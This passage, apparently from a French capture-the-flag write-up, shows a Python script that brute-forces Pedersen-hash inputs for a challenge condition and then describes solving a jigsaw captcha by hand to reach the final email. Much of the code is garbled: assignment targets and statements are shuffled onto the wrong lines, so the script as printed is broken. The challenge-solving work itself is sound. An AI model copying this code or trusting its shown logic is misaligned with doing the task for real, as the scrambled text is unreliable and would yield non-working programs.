where x_low is the 248 low bits of x, x_high is the 4 high bits of x and similarly for y.
shift_point, P_0, P_1, P_2, P_3 are constant points generated from the digits of pi.
"""
return (
+ process_single_element(x, P_0, P_1) + process_single_element(y, P_2, P_3)
HASH_SHIFT_POINT
).x
def pedersen_hash_func(x: bytes, y: bytes) -> bytes:
"""
A variant of 'pedersen_hash', where the elements and their resulting hash are in bytes.
"""
assert len(x) == len(y) == 32, "Unexpected element length."
return to_bytes(pedersen_hash(*(from_bytes(element) for element in (x, y))))
def pp(x,y):
return int.from_bytes(pedersen_hash_func(x.to_bytes(32,"big"), y.to_bytes(32,"big")),"big")
def f(c0,c1,c2):
= 0x5B65565F4E4FC51283F9B627D5A075D8, c0
x,y = pp(x,y)
h = h,c1
x,y = pp(x,y)
h = h,c2
x,y return pp(x,y)
= 0x800000000000011000000000000000000000000000000000000000000000001
P = 0x5B65565F4E4FC51283F9B627D5A075D8
nonce def gencx(id):
= pp(nonce, id)
idh = pow(idh,2,P)
c0 = (c0 * 0x1337) % P
cc0 = (0x1336 * pow(cc0,-1,P)) % P
c1 = (0x208B7FFF7FFF7FFE * pow(idh,-1,P))%P
c2
assert (idh * idh)%P == c0
assert (c0 * 0x1337 *c1)%P == 0x1336
assert (c2*idh)%P == 0x208B7FFF7FFF7FFE
= f(c0,c1,c2)
hh = hh // 340282366920938463463374607431768211456
a = hh % 340282366920938463463374607431768211456
b
return idh,c0,c1,c2,a,b
for i in range(200000000):
= gencx(i)
idh,c0,c1,c2,a,b if (i % 0x1000 == 0):
print(i)
if a < 0x1000000000000000000000000000:
print(hex(i),hex(c0),hex(c1),hex(c2),hex(a),hex(b))
print(idh)
raise
Cela nous permet d’atteindre la page d’achat qui contient l’étape finale
Étape finale
Il ne reste plus qu’à résoudre un captcha sous forme de puzzle pour
pouvoir envoyer un e-mail à l’administrateur. Il existe de nombreux
solveurs pour ce genre de puzzle, par exemple Zolver
et
jigsawlutioner
, mais il semble que c’est plus rapide de le
faire à la main que de les faire fonctionner.
Nous avons enfin obtenu l’email qui annonce la fin du challenge de cette année!
Merci à tous les auteurs du challenge!